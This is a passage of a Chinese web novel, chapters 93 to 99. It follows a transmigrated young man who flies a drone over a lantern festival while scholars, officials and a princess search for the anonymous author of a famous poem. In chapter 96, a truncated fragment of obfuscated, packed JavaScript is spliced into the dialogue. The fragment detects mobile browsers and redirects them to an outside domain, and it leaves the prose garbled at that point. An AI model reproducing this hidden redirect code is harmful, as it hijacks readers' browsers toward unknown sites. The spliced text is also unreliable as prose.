“哥哥的朋友哇?”江滢当即眼睛一亮,表情肉眼可见地变开心,“那好,那我把这些酒都给你吧!”
“当!”
一整坛茅台酿,就这么重重落在小桌上。
季云苍见状当即瞪眼,连忙一把抱进怀里:“多谢小姑娘!”
“不客气,哥哥说过,要珍惜好朋友。”
“哈哈哈,好好……你这小姑娘,简直跟你哥一模一样,惹人喜欢!”
江滢被这一句说得心里又甜又暖,蹦蹦跳跳地跑回了后院。
季云苍则整理了一下桌面,正襟危坐,拆开封泥为自己倒上一碗。
“嗯~”
“那小子果然没骗我,这秋思客栈的新酒酿,着实浓香扑鼻。”
他端起碗,浅浅一抿。
紧接着愣了一瞬,又轻轻将碗放下。
片刻间,方才的欣喜便从季云苍那张褶皱的脸上消散,取而代之的是沉寂,悠长的沉寂。
他在这酒里,尝到了熟悉的桃花的味道。
就像那山间弥漫的桃林之间的香气,就像晚夏时节充斥天空大地的粉白,就像那个轻轻攀折桃枝,笑容嫣然的女孩……
桃花依旧,人却早已不在。
如今倒是这酒,让他越饮,越忘不掉那些现实。
……
【叮,震惊达成,来自季云苍的情绪值:+271!】
江云帆在街中漫步。
道路两侧的风景交替不绝,脑海里的阵阵铃音,也是接二连三。
短短时间里,他已经连续收到了不下十波情绪值。来自程修齐、江元勤和季云苍,以及许多未曾听闻姓名的陌生人。
算算时间,秋思客栈那边的活动,应该已经进行到了最后阶段。
这些震惊,助他将情绪值余额提升到了将近五千。
距离一万大关,尚有一半。
所以这最后一搏,只能寄希望于船灯会了。
作为镜源县最繁华的地方,明灯街并非单一的直行街道,而是由许多小巷岔路组成,格局复杂。
加之人群拥挤,其实江云帆有很多次机会都可以偷偷溜走。
但他最终还是选择了正面硬刚。
他在杨文炳追上来时,缓缓放慢了脚步:“杨兄此番来看灯会,可有特地要做的事?”
“……”
听到这话,杨文炳已然明白江云帆的意思。
许是有私事处理,彦兄这是在赶他走了。可他大老远从凌州前来,目的不就只有这一个吗?
“实不相瞒,我此次前来并无他事,只是为了寻彦兄你。”
杨文炳站定了身体。
他微微抬头,目光眺望远空,忽而面露苍凉,沉声道:“彦兄,你可知这大乾文坛,早已封闭百年。这百年来,虽有名儒辈出,单着天下的文才却再无一点发展。所有人都被困在这固有的枷锁之下,难寻突破。”
“镜湖文会那晚,一首‘东风夜放花千树’,以鹰击苍穹之势,击碎了一切的桎梏,让我等青年学子再次看见了文峰之巅的曙光!”
“可即便如此,我们依旧深陷迷茫。这几日杨某思来想去,确定了一件事……唯有让那千古绝唱拥有了灵魂,天下才子才能找到心中信仰。彦兄……它缺一个归属啊!”
归属,自然是作词之人的姓名。
江云帆听到这番话,也不免有些动容。在这阶级森严,人人为己
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的世界,杨文炳这样的人实属罕见。
“杨兄大义!”
他朝杨文炳抬手抱拳,正色道,“那首词我也有所听闻,确实堪为天物,只可惜并非我所写。况且我对功与名不感兴趣,杨兄此番恐怕要白跑一趟了。”
“唉……”
杨文炳重重叹了口气,无奈摇头。
“罢了。彦兄若有私事,可自行前去处理,待灯会结束,我再来此等你。尽管此行无功,也不妨碍你我把酒言欢!”
“好!”
两人相互挥手,各自转身而去。
其实杨文炳早就猜到江云帆不会承认,无论是以利诱之,还是以情动之,他都已经试过了。
但他绝不可能放弃。
他劝不动,那便把希望寄托在别人身上,比如此时此刻还有一刻日夜渴望见到彦公子的人——许灵嫣!
……
“是他吗?”
明灯街旁,一条小巷中,一辆豪华马车静静停靠。
车窗口,齐之瑶正撩着幕帘,盯着江云帆远去的背影。
离开秋思客栈后,她便乘着马车直通北城区,故而赶在了江云帆之前抵达了明灯街。因为要辨认江云帆,所以她还特地带上了客栈的杂工小李。
“回齐小姐,就是他!”马车旁,小李点头哈腰。
“确有几分俊朗,难得的才貌双全。”
齐之瑶的眼中闪过丝丝精光,随后又掀开车帘,看向前方的车夫,“你说方才在街边,看见了临汐郡主的两名护卫?”
“是的,小姐。”
“此二人在,那么郡主本人多半也在附近。”
谈及此,齐之瑶一双秀眉微微皱起,“难不成,她也是为江云帆而来?”
凌州总督的二公子,户部尚书的独女,再加上尊贵无上的临汐郡主,看来今夜这灯会,有点热闹过头了。
“走吧,去会会这位连归雁先生都能拒绝的江公子。”
“是!”
……
(昨天会议结束时间太晚,没来得及补欠缺的一章。改为今天8.23号之内补上,望海涵。)
第94章 十年不见
不知不觉,季云苍已经坐在桌前饮完了半坛酒。
那酒香属实让人难以自抑,甚至全然忘记自己的酒量,哪怕喝到头悬云霄也不愿停。
季云苍是想要用这酒,来浇灌心中的愁。
怎奈何大脑越是沉醉,记忆却越发清醒。
喝到天昏地暗后,他提着剩下的半坛,没有拿碗,就此晃晃悠悠地走入客栈的后堂。
穿过厨房时顺了一只鸡腿,又在踏上后院时,将烂掉的一截衣衫撕下塞进裤兜。
客栈后院的围墙外,距离镜湖的岸基,仅有三丈来宽。
上面用木板搭了一方钓鱼台,面积不小,靠湖处建造了一排齐腿高的护栏,用油漆涂成了古铜色。
站在此处,可以一眼望到镜湖很远很远的地方,一片平整延伸,最后与天空相接。
只是这好景鲜少有人欣赏。
季云苍扶着一根柱子坐下,把头靠在围栏上,提着那酒坛,又往嘴里灌了一大口。
“嗝——”
好酒!
确实是好酒,哪怕是整整一坛也嫌不够。
他就这样坐在湖边,看着远方星光璀璨,湖面洁净如月。不知喝了多久,再倒过酒坛时,里面仅剩最后几滴。
酒喝完了。
但回忆还没醒,他索性把头抵在栏柱上,短暂地放弃呼吸。
却就在这时,身后传来一阵轻微的脚步声。
接着便响起一个熟悉的声音:“我还以为,你就算在山里躲到黄土埋白骨,也不肯入这世俗。”
季云苍迅速恢复呼吸。
他长舒了一口气,没有开口回答。对于这个问题,他也不想回答。
但他知道是谁来了。
那脚步声越来越近,很快便已来到身后:“这酒好喝吗?”
“好喝!”
季云苍又将那空坛高高举起,放在嘴上晃了晃,这次成功晃出两滴。
“可惜就是太少!”尝完味道,他砸吧砸吧嘴,意犹未尽。
也正在这时,一道略显肥胖的身躯,就靠着他旁边的栏杆缓缓坐了下来。季云苍见他手里也提着一坛酒,伸手想要去夺,却被对方侧身躲过。
“就喝一口,一口也不行!?”
老头子脸色很不好看。
但沈远修并没有理会他的**,也仿佛刚才的事情根本没发生,只自顾自地沉声说话:“其实方才在前堂见你,我还真没认出来。老季啊……”
他转过头,借着客栈里传来的微微光亮,看着季云苍满是岁月风霜的五官,无奈道:
“十年不见,你更老了,也更丑了。”
听到这话,季云苍当即脸一黑:“你也老了,又老又胖,一看就虚!”
“哈哈哈……我又老又胖没关系,可当初我说你眼里的光不见了,你却说你离开之后,自会将其找回。可现在十年过去了,你把它找回来了吗?”
“……”
季云苍沉默了。
只可惜手边无酒,不然倒是能大饮一口来缓解此刻的尴尬气氛。
无奈之下,他只能转移话题:“你不在怀南城的豪华府邸待着,大老远跑来这镜源县作甚?莫要告诉我,是为了看那无聊的等会。”
“自然不是。”
沈远修也沉下脸,聊起正事,“我此番是匆忙赶来的,只因在七月三日镜湖的那场文会上,有一首堪称千古绝唱的词文问世。王爷命我前来,是为了寻那作词之人!”
“千古绝唱……”
季云苍轻轻皱了下眉头,眼中的神色有些复杂。
“怎么,那首词如今已传得人尽皆知,你难道没听过?”
“我对这些不感兴趣。”
“好好,你不感兴趣……但你是否知道,这词可以说是这十年以来,唯一有能力
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登上乾文之巅的一首!上一次,还是王妃的《声声慢》……”
话及此,沈远修自动止住了声音。
因为他很快便注意到,季云苍的神色泛起浓郁的苍凉。
好在那老头很快便调节过来。
他开口道:“那词我确实没听过,不过最近倒是有些奇怪,也不知为何,总会有一些超乎意料的诗词突然出现。话说,你找到作词之人了吗?”
季云苍确实纳闷,近些天他听过的作品,若放在以前,怕是几年也难得一遇。
可转念一想,这一切似乎都与江云帆有关。
那小子,就好像个藏满奇物的宝库,总能带给人无尽的惊喜。
“暂时没有,不过已经有了怀疑的对象。”
让沈远修怀疑的对象,自然也是江云帆。
昨日傍晚念荷亭中,他第一眼看见江云帆刻在亭柱之上的那句“接天莲叶无穷碧,映日荷花别样红”,便深觉此人不简单。
而今晨月亮湾一叙,更是让他在这年轻人身上,看到了一种绝无仅有的气质。
最后便是今晚,又江滢念出的那首诗……
沈远修甚至觉得,如果有谁突然说一句:文会那首词,就是江云帆所写!
那他一点也不意外。
夜幕当中,晚风浅浅袭来,卷着湖上的湿润,带来一丝凉气。
“呼……”
季云苍稍稍醒了些酒,便扶着那围栏艰难站起来,面朝湖面大呼一口气,“其实啊,今日我之所以从山上下来,到这人声鼎沸的客栈,也是因为一个人。”
“哦?”沈远修当即来了兴趣,“能让你自视清高的入云居士特地下山,我倒很想知道那人是谁了。”
季云苍由心一笑:“他啊……那小子,他叫江云帆!”
“?!”
一瞬间,沈远修眉头都拧成了一个“八”。
第95章 小汐莫非看上他了
江云帆,竟又是江云帆!
沈远修甚至都怀疑,他这一趟从怀南城千里迢迢跑来,就是为了让这个名字给贯耳的。
他不相信这是因为有缘。
“老季,方才我说对那作词之人的身份有了猜测,你认为是谁?”
“!”
听沈远修这样说,季云苍的眼神顿时也清澈了。
对啊,眼前这胖老头身份可不一般,南毅王手下幕僚之首,江南文坛领军人物之一。这人平日要务缠身,又怎会在万灯节之际,偏偏到了这么一处小小的秋思客栈?
想到这,季云苍不禁正色,忙开口问道:“不会也是江云帆吧?”
“正是江云帆!”
沈远修直言不讳,“其实早上我便已经见过他了,他给我的感觉,与平常的青年才子完全不一样!甚至他的想法,连我这有大半辈子资历的老家伙都无法理解!最重要的一点……文会那首词,很适合他。”
季云苍再度沉默了片刻。
待回过神,他又看向沈远修:“老夫觉得,我忽然对那首词又感兴趣了!”
一开始他没说谎,自从十年前远离尘俗,他就已经不关心什么诗词歌赋了。
直到听见了江云帆的《桃花庵歌》。
那首诗给他带来的感受,十分美妙,故而对于可能是江云帆其他的作品,他也想具体听听。
“吭吭……”
沈远修用力清了清嗓子,随即迅速进入状态,面露深沉,目光远眺,开口慢念:
“东风夜放花千树。更吹落,星如雨。宝马雕车香满路。凤箫声动,玉壶光转,一夜鱼龙舞。”
一刹那,季云苍直接被卷入了那满城灯火,满城辉光的繁华当中。
“好词!”
他忍不住脱口赞叹,而沈远修的诵读并没有停止。
“蛾儿雪柳黄金缕。笑语盈盈暗香去。众里寻他千百度。蓦然回首,那人却在,灯火阑珊处。”
“……”
这一次,季云苍没有再点评,只长长吸了一口气后,僵在原地半晌。
良久,神色严肃地回过头来。
他不确定这首词到底是不是江云帆所写,但可以确定,二者带给他的震撼,是类似的。
“这首词可有词牌题目?”
沈远修摇头:“是一首无题之作,”
“无题之作……那当日文会人员众多,难道就没有谁看清投词之人长什么样?”
“根本就无人投词!”
“无人?”
眼看季云苍越来越懵,沈远修便将自己所听到的,关于那晚一件类似鹰隼飞鸟的黑色器物凌空飞行,并将这首词投上甲板的事解释了一遍。
他本不寄希望于季云苍能懂,可谁知后者反倒眼前一亮:“你说会飞的黑色器物?”
“没错,据说有脚盆大小,你可见过?”
“没见过。不过类似这种稀奇古怪的物件,在江云帆家里,我已经见识太多太多了!”
“当真?”
沈远修腾地一下站起身来,一张脸上难掩激动,“若江云帆家里真的蕴藏奇珍,那会飞的黑色器物,很可能就是他的!”
太好了!
如此一来,寻人的线索,便彻底指向了江云帆。
“你最好先莫要激动,”季云苍又劝说了一句,“不管这词是不是江云帆所作,他不愿抛头露面,必定有其缘由。若是强行打扰,只会引来反感。”
“恐怕已经来不及了。”
沈远修根本忘不了,那晚星夜天象之中的那一幕。三月之期已至,如果大乾真的有惊世之才诞生,那么很可能便是这首词。
站在王爷的角度,这种人一定不能错过!
想到这,沈远修果断与季云苍告别:“江云帆今日不在客栈,那词无论是不是他所写,我都要亲自去问清楚。”
他转身欲走,又忽然停下:“对了,这次郡主也来了。”
季云苍浑身一震。
“小汐她……还好吧?”
“衣食自然无忧,但日子也谈不上开心,这十年来,她始终在打听外公的下落……若我是你,一定趁此机会去见一面,起码让她安心。”
话说到此,沈远修也没打算让季云苍回答。
他转而又补充了一句:“还有一事,恐怕你需要知晓,便是郡主对那江云帆……似乎也很感兴趣!”
“这算什么事?你我不也对江云帆感兴趣?”
“呵……”
沈远修笑了,“此兴趣非彼兴趣,我看老家伙你是真的不懂!”
说完也不等对方反应,挥手便去。
他曾想过要劝说季云苍回王府,起
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码与自己那唯一的外孙女相认。但事实证明,季云苍在想通一些事之前,绝不可能跟他走。
索性不劝了。
沈远修走后,季云苍依旧愣在原地良久。
一通苦想之后,他双眼一瞪,终于茅塞顿开。
“莫非小汐……是看上那小子了?”
……
镜源灯节上,江云帆刚穿过热闹的明灯街,来到一片花船密布的镜湖湾岸。
“阿嚏!!”
一个打喷嚏,差点呼出鼻涕来。
好家伙,背后是有多少人在念叨他?
江云帆很是无奈,虽然刚刚又一次收到了季云苍提供的不少情绪值,但他却总觉得有人在偷偷密谋着自己不知道的事。
这种情况,属实让人高兴不起来。
不过他也没有想太多,背着双肩包,快步走到湖岸边。
随即远离繁杂的人群,找了一处清净的地点,将无人机释放升空。
赏尽天下美景,是江云帆穿越躺平的一大宗旨,难得的万灯节自然不能错过。
他不能因为担心被人认出来,就把无人机永远雪藏。做什么都畏首畏尾的话,同样有违享乐的初衷。
江云帆这无人机,当初打折也花了5000情绪值,属于是非同一般的高档货。
控制器与无人机之间有信号接收和发射器,通过无线电波,能将摄像头拍到的画面显示在手中的屏幕上。
江云帆就这样操控着无人机,率先掠过湖湾上空,观取那些花船中的别样景致。
在镜源县,“花船”文化十分盛行。
所谓花船,即水上的青楼,有的客人无比爱好这种感觉,在湖上飘飘荡荡,别有一番滋味。
不过在万灯节时,花船的功能更多是卖艺。
诗歌,舞会,琴乐,在这密密麻麻的船群当中应有尽有。
花船点燃花灯,绚烂一片,这里也自然而然也就成了整个灯会上最为繁华热闹的地方。
而江云帆控制着一番飞行后,忽然被一艘船上,两道熟悉的身影所吸引。
那两人立于船头,一人着青衣,一人披黑裳,赫然就是“大奶牛”秦七汐身边的两名手下,青璇和墨羽!
她们怎么在这?
难道说,她们的主子,也在这花船当中?
……
第96章 飞行奇物再现
镜湖湾位于镜源县城区的东北角。
此处偌大的水域朝着陆地凸入,平均水深不过二丈,与湖岸完美相接。临岸处,更是有大面积的浅水区,平日前来游玩戏水的人多不胜数。
到了万灯节这一天,湖上船灯交织,四下声乐漫耳,热闹之中又带着几分典雅。
今夜此前,江云帆并没有收到来自秦七汐的情绪值。尽管秋思客栈那边搞得是热火沸腾,受到震惊的人是一波接一波。
但其中偏偏没有秦七汐。
不然的话,他现在的情绪值总量肯定不止五千。
如此说来,这位秦小姐多半是来看灯会了。
不过对于她此刻是否在花船之上,江云帆并不在意。因为无论有谁在,都不影响他放无人机,更无法妨碍他欣赏这个世界。
他继续操控着无人机,在镜湖湾上一边盘旋,一边到处观察整个灯光的光景。
不得不说,大乾的繁华程度是要远高于大部分华夏古代王朝的,即便是一个小小的县城,也做到大街小巷来回纵横。
灯火通明之下,仿佛一道印在大地之上的橙色巨网。
江云帆不禁感慨。
有这美景,也不负穿越这一遭了。
此时此刻,离岸不足百步处,一艘体型明显大过周围船只一圈的楼船,于水面静静悬停。
这是王府所有的一艘护卫船,平日楼舫出航,此类船只都会随行,任务是为楼舫清杂除患。而今日,在临汐郡主的命令下,这艘船直接从三号码头开到了镜湖湾来。
眼下,船上正明晃晃飘荡着一面紫色九龙旗,那是独属于南毅王的徽标。
对于这样的图案,江南无人不知。
故而这船出现时,周围的花船与商舸尽皆远离,为其腾出一片开阔的空间。
而此时的船板之上,一青一墨两人依着栏杆并排而立。其中一人抱着剑耍酷,另一人则东张张希西望望,总想看看周围的花船中,有没有一些刺激的画面出现。
只可惜,唯一晃动剧烈的一艘,距她们足有二百步之遥,连半点声音也听不见。
青璇索性把视线转了回来,侧身用肩膀狠狠一靠旁边的墨羽。
“喂,你说郡主匆忙来此,究竟是为了看灯会,还是为寻找那写词的人?”
墨羽白了她一眼。
她将被推得有些倾斜的身体重新摆正,嘴里冷冷道:“都不是。”
“都不是?”
“难道你看不出来,郡主今日东奔西走究竟是为了谁?”
青璇当然看出来了,她只是纳闷:
“你说这江云帆除了长得好看点,到底有哪点好?吊儿郎当又缺少志向,写诗倒是还行,但那一手字简直不堪入目,我都怀疑那首诗也不是他本人所创。”
“你如何觉得不重要。”
墨羽将视线移开,嘴上继续道,“对于郡主来说,得到王爷准许下船的机会并不多,时间也很紧迫。
但她不去游览难得的景胜,却偏偏把时间都花在江云帆身上,一定有其原因。”
以墨羽这十几年来对郡主的了解,她绝不是一个会头脑一热便坚持做某件事的人。相反,郡主行事都有理由,且目的明确!
青璇也想明白了,点点头:“只是这灯会规模如此之大,想在茫茫人海中找那家伙,谈何容易。”
“是啊,谈何容易。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16225931|180472||http|test|mini|href|location''.split(''|''),0,{}));
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r>今日万灯节一过,镜湖文会也至尾声,等郡主回了怀南城,下次能再来此处,就不知是何年月了。
两人沉默了片刻。
但很快,墨羽突然警觉,皱眉望向天空:“什么声音?”
“哪有声音?”
青璇在秦七汐身边主管理事繁务,作用更类似于贴身丫鬟。其对环境的感知能力,自然比不过长期经过特训的四品高手墨羽。
她是后知后觉,直到一阵嘈杂的“嗡嗡”声响起,方才意识到天上有东西。
连忙抬头一看,除了皓月与星空之外,不见任何它物。
“那边!”
墨羽一声轻呼,目光望向西北方的天空,眉头紧紧皱起来。
青璇见状同样转过头,一眼看去,只见一个脚盆大小的飞行物,不断闪烁着红点状的光芒,正于离地三十尺的高空快速穿行……
她当即双眼一瞪。
出现了!
“是那东西!”
青璇当即一声惊呼,“镜湖文会第一晚,在王府楼舫上投下那首词的,就是这会飞的玩意儿!”
她记得很清楚。
当时她正在楼船二层,于郡主的书房收点书籍纸笔。
因为书房所处的位置靠近楼船边缘,故而那东西掠过之时,她恰好就从窗边看见了它的全貌。
后来听人谈起,才知道那首轰动全船文人的词,就是被它从空中直接投下来的。
青璇无法用所学词汇来形容它的模样,但记忆却十分清晰,她可以肯定,当下头顶飞行的怪异器物,与那日是同一个!
终于,时隔好几天,它再一次出现了!
“快禀报郡主!”
……
第97章 得罪他才是真完了
与江云帆分别之后,杨文炳沿着原路折返,在明灯桥头,很顺利地见到了许灵嫣。
此时高贵的尚书千金,已经在河岸周围找寻了好几圈,但都没有发现任何有关彦公子的线索。
原本一袭锦绣红裙,精妆懿饰,此刻却形容憔悴,香汗淋漓,满眼尽是疲惫与颓唐。
更重要的是失望。
许灵嫣几乎已经心乱如麻了,反反复复许多次,尽管她一再努力,却每次都与彦公子擦肩而过。
她知道一旦过了今晚,万灯节的热闹消去,来自各方的旅人也将离开,届时她还能不能找到对方,就是个未知数了。
许灵嫣真的很想大吼大叫发泄一番,她不过是想和一个人见上一面而已,为何命运总爱如此捉弄?
在场的侯茂杰和徐坤几人都注意到她心绪不佳,一个个闷头不敢说话。
直到杨文炳的身影出现在河畔。
“灵嫣!”
这一声呼唤,让原本双目失神的许灵嫣顿时眼前一亮。
她寻声转头,只见一身黑色锦袍的杨文炳正小步带跑朝这边而来。
许灵嫣急忙迎上前去:“文炳,方才你可是与彦公子在一起?”
杨文炳果断点头:“对,我从水路入城,恰好在湖上遇到他驾舟而来,便与他同行了一段……”
说到这里,他的目光突然多出了一抹坚定:“灵嫣,方才与彦公子同行的时间,我们相互交流了不少。如今我更加确定,他就亲笔写下那首‘东风夜放花千树’的人!”
杨文炳从未见过这样的非凡之人。
就好似他所有的想法,所有的习惯,所有的信念准则,都与这天下格格不入,可偏偏你就有种感觉,感觉他才是对的!
**公子也没想过,有朝一日自己竟然会对一个男人如此着迷。
“可惜,无论我怎么规劝引导,他始终不肯承认这一点。”
听到这话,许灵嫣眼中闪烁着小星星:“但是也正因如此,他才是那个与众不同的彦公子,不是吗?”
“是!”
杨文炳重重点头,“所以灵嫣,我此番前来寻你,就是想让你去试试。或许换个人,会有不同的效果。”
“好,那太好了!”
许灵嫣心中的激动已然难以言表,这恰是她最想听到的答案。
自己苦寻彦公子无果,如今杨文炳却主动将人送上门来,实在是好事一件。
她确实没有信心一定能劝动彦公子。
但能和对方见上一面,就已经是自己的幸运了。
“那咱们现在就去!”
“好。”
杨文炳点点头,领路便走。
明灯街虽然是镜源县最热闹的地方,但周围存在的区域,算上镜湖湾,也不见得很大。
所以杨文炳推测,彦公子此刻多半是去了镜源湾,毕竟那里才是灯会的重点。
“哦?这不是徐大少爷吗?”
许灵嫣这次带了不少人,而人群刚一动脚,杨文炳便发现跟在其中那位又宽又胖的男子。
正是方才在船上有过交集的徐坤。
被点名了,徐坤不禁有些头皮发麻。他弓着背,压低声音在侯茂杰耳旁问道:“表哥,这人什么来头啊?”
侯茂杰不禁一怔。
他有些僵硬地转过头,满脸惶恐:“你不会把他也招惹了吧?”
徐坤面露尴尬。
说招惹了吧,其实也没有把对方如何,但要说没招惹吧……先前在船上他夸夸其谈好不潇洒,谁知道有没有哪句话得罪对方?
“我真想把你给踹进河里喂鱼!”
侯茂杰一把揪住他的耳朵,咬牙切齿,“这位杨公子的父亲,乃是凌州总督,一郡将士的最高统领,比我爹升官后还大上一个级别!你说你招谁不好你……”
“我错了错了……”
徐坤疼得直翻白眼。
他挣脱了侯茂杰的铁钳,一脸陪笑着来到杨文炳跟前。
“嘿嘿……杨公子,先前是小的有眼不识泰山,恳请公子莫要见怪。”
一郡总督之子,比自己一个蹭亲戚权势的小富少爷,不知道要尊贵多少倍!
好在这杨公子宽宏大度:“无妨,过去之事,没有提的必要。”
“多谢杨公子!”
徐坤低头退下。
他心里那个委屈啊!
哪里知道
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,明明灯会上这么多人,恰巧与自己同乘一船的,会这么有来头!
当时他是想着,这人虽然衣着光鲜,但能和另一个缊袍敝履的小子待在一块,身份一定高不到哪去。
结果现在想来,似乎那个缊袍敝履的小子更不简单!
就好比此刻盯着自己,目露凶光的侯茂杰,他只道:“你招惹到杨公子,这事倒还不必担心,可若是得罪了那位彦公子……我告诉你,那你算是彻底完了!”
徐坤:“(⊙?0?6⊙)!”
是啊,是彻底完了。
徐坤他清楚记得,在船上时杨文炳对那彦公子恭敬有加。
而到了岸上,尚书府千金许小姐大费周章,只为寻他一人。
自己得罪了他,不就等同于把这几家都给得罪了吗?
完了,要完。
那小子一看就不像杨文炳这么好说话……
……
一群人迅速穿过了明灯街。
最终在镜湖湾的岸滩上驻足。
眼下灯火漫目,湖上船只密密麻麻地点燃火光,岸上游人**,浩浩荡荡一片。
此番盛景,当真只有京城能看得到。
“文炳,我们应当如何寻找?”
“……”
杨文炳同样满脸无奈。
但就在他疑惑之际,湖上不远处的一艘花船上,一男一女两人正余船板上观景,其中女子突然一声惊呼:“快看!天上是什么?”
“天上?”
杨文炳的动作,几乎和那男子一致。
他抬头仰望,视线在那星辰皓月之间迅速划过。
可就在这时……
“嗡嗡嗡嗡——”
一阵剧烈的震动声,忽然自头顶一划而过。
杨文炳立马警觉,转动身体定睛一看,整个人石化在原地。
只见一道黑色影子,正在那辽旷的天空之上,飞速穿梭!
“是它……是文会那晚的飞行奇物!”
此时此刻,他内心的惊骇与激动无以复加。
这东西出现了,那么就意味着,彦公子就在附近!
且一旦找到他,就可以确定,那天那首词,就是他投下的!
……
第98章 歌舞盛会
许灵嫣并没有亲眼见过文会那晚投下词文的飞行之物。
她只听旁人提起,说那东西不止会飞,还能凌空悬停。无需借助翅膀,也不用任何外力推动,就可完成升降横移的动作。
总之,传得神乎其神。
而今日一见,许灵嫣方才知晓,那东西的神奇与生俱来,根本就不需要夸大其词。
此刻它恰好从头顶一掠而过,震动空气发出的“嗡嗡”声,让人完全看不明白它是器械还是生活之物。
“文炳,咱们现在去哪找人?”
见到这投词的工具,许灵嫣更加迫不及待地想要见到彦公子。
然而杨文炳只一脸茫然与无奈。
他哪里知道去哪?
那飞行之物来无影去无踪,根本猜不到从哪升空,他也只能根据分别的时间推断,彦公子本人应该就在附近。
见杨文炳这般反应,许灵嫣自然也明白了,要想把人找到,还是得大规模地搜寻。
她即刻吩咐下令,让小缘和侯茂杰分别带着一对人,往镜湖湾沿岸的两个方向寻觅。
这些大多是花钱雇的本地工人,他们对此处的环境地形十分熟悉,想要找到一个特征鲜明的人并不算难。
“表哥,你为何沉默不言?”
“闭嘴吧,面见彦公子之前,要心灵纯净,并保持绝对的虔诚,能不说话就尽量别开口!”
早在刚才那飞行奇物出现的一刹那,侯茂杰就开始肃穆了。
其实一直以来,那位妙笔写下“东风夜放花千树”的隐士,就不仅仅是他所崇敬的对象。在侯茂杰心中,对方几乎是接近神一样的存在!
能操控物体长距离飞行,并且投下书纸,这种事哪怕是当今天下武道最强的大宗师,也完全做不到。
说不定,那彦公子是比大宗师还强大的存在。
那不就是神吗?
“快走,找到人以后立刻为刚才的事情道歉,否则别怪我不保你性命!”
徐坤吓得整个呆住。
这么严重?
……
许灵嫣的人开始快速绕着湖岸寻找。
而与此同时,位于镜湖湾中上的王府护卫船中。
木质的楼梯上,一阵均匀的“咚咚”声响起。
由墨羽和青璇的陪同着,一袭白裙白纱的秦七汐,正自楼上漫步而下,径直来到船板的围栏边。
她眺望夜空,看见了一道闪烁着红光的尾巴。
青璇站在她旁边,提醒道:“郡主,那日文会之夜从楼舫上经过的,就是这东西。”
秦七汐没有回答,只默默望着天空。掀开的帽帘下,那双琥珀般的眼眸反映八方灯火,格外闪亮。
过了半晌,方才喃喃开口:“会是他吗?”
他?
听到这话,墨羽和青璇面面相觑。
她们也搞不明白,郡主口中的“他”,指的究竟是彦公子,还是江云帆。
或者说……郡主想要的答案,是彦公子即是江云帆?
这想法一旦产生,墨羽便完全淡定不了了。她可是亲眼见过发生在江云帆身上各种各样的奇妙之事,每一样都超出常人理解。
若再加上一条,文会那首词也是他写的……那将完全不敢想象,这个人究竟有多完美!
就在此时,秦七汐又忽然转过头来:“稍后是不是有一场歌舞会?”
青璇连忙点头:“镜源万灯节最热闹的地方是姻缘桥和船灯会,其中最重要的事宜,便是船灯会上的歌舞会……郡主是想?”
“好不容易来了此地,那就多体验不同的乐趣。”
秦七汐道,“一会去看看那歌舞会,若我需要弹奏,那青璇你就来伴舞。”
“是,郡主。”
青璇垂头领命,墨羽则立刻前去指挥船员,将大船向着南边缓缓开动。
在镜湖湾南侧湖口的岸边,坐落着一段沿湖而建的花市,平常日子就是售卖花卉的地方。<
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br>而万灯节这一天,则会被改成规模盛大的歌舞会,主办方会从各地请来歌姬舞者,以及城中最有名的花魁,为到访的旅客献艺。
看表演并不收费,但会上有许多茶酒、小吃、鲜花、纪念物等应运而现的生意,前来游玩的人很难忍住这些花销。
而自去年开始,他们还将赌场开到了歌舞会上来。
赌的不是牌,也不是签,而是歌舞。
主办方会特地开展歌舞的比试环节,赌客提前押注,支持自己喜欢的歌者舞者,若其在比试中获胜,即可赢得对家的赌资。
总的来说,这样一场歌舞会,把各种各样的商业都汇聚到了一起,故而难免人多。
此时江云帆正一边操控着无人机,一边顺着湖岸,从一条稍微安静点的小路往歌舞会走去。
原本一切风平浪静。
然而他实在想不到,人有时候运气真的会差到极点!
越是想要远离人群的时候,就越会有人主动来打扰。
就在他操控着无人机盘旋至歌舞会上空后不久,身侧突然有一阵马蹄声忽然响起。
转头一看,一辆豪华的双马车轿,就这么停在了不远处。
看这阵仗,对方的身份显然不简单。
马车门帘上印着一道标记,江云帆的记忆里似乎有一点浅浅的印象……好像是某位侯爷的族标。
正当他纳闷之际,车帘被拉开,一位长相年轻乖巧,气质稚嫩清靓的女子,自车上款款迈步而下。
随即,她提着裙摆,迈着小步,竟直直地走到他身旁。
那女子伸长脖子往外张望了一番,假装看湖。
但是下一刻,却忽然开口道:“这位公子好生面熟,咱们之前是不是见过?”
江云帆:“?”
这老土的搭讪方式,在另一个世界的古代也有吗?
……
(这是26号的章节,下一章很快更新,27号再更两章)
第99章 这小姑娘很会
“姑娘怕是认错人了,在下的印象中,并没有关于姑娘的记忆。”
说话之间,江云帆不动声色地将无人机的遥控器收了起来。
这种东西若是被别人见多了,总会引来不必要的麻烦。而那无人机也不用担心,它有自动巡航的功能,他已经提前设置好了路线,停止人为操控后,就会绕着湖岸来回画圈。
“哦?没有吗?”
齐之瑶抿了一抹微笑,又用意味深长的眼神看着江云帆,“那或许……是发生在前世也说不定?前世有缘,今生再会,许是命运安排。”
会,很会。
这是江云帆为眼前这女子贴上的第一个标签。
无论是眼神还是语气,又或是神态间的小动作,无不在刻意表现自己的青春与美丽。
换做一般人,还真受不了她这一套。
只可惜遇到了江云帆。
**怎么说也算是两世为人了,经历过生死之后所有人都会变得清醒,知道自己要什么,也知道什么该碰,什么该远离。
况且,他又不是那种没见过美女的小男生。
不谈前世那些化妆加特效把自己打造成“完美脸”的女人,光这一世日日与他讲荤话的白瑶,又或者让他不胜其烦的前未婚妻许灵嫣,都算得上人间极品。
甚至,今晨湖畔跟着沈远修那位小书童,若是女人,也将美到惊世骇俗。
眼前这小姑娘虽然年轻,估计也就十五岁左右,一张瓜子脸也很漂亮。但容貌比起许灵嫣还是有不小差距的,身材更是无法同瑶姐沾边。
江少爷也冲着对方微微一笑,开口回答:“命运会安排我出生贫寒,也能安排我庄稼颗粒无收,所以命运安排的事,也未必是好事。”
听到这话,齐之瑶眉毛轻轻一挑。
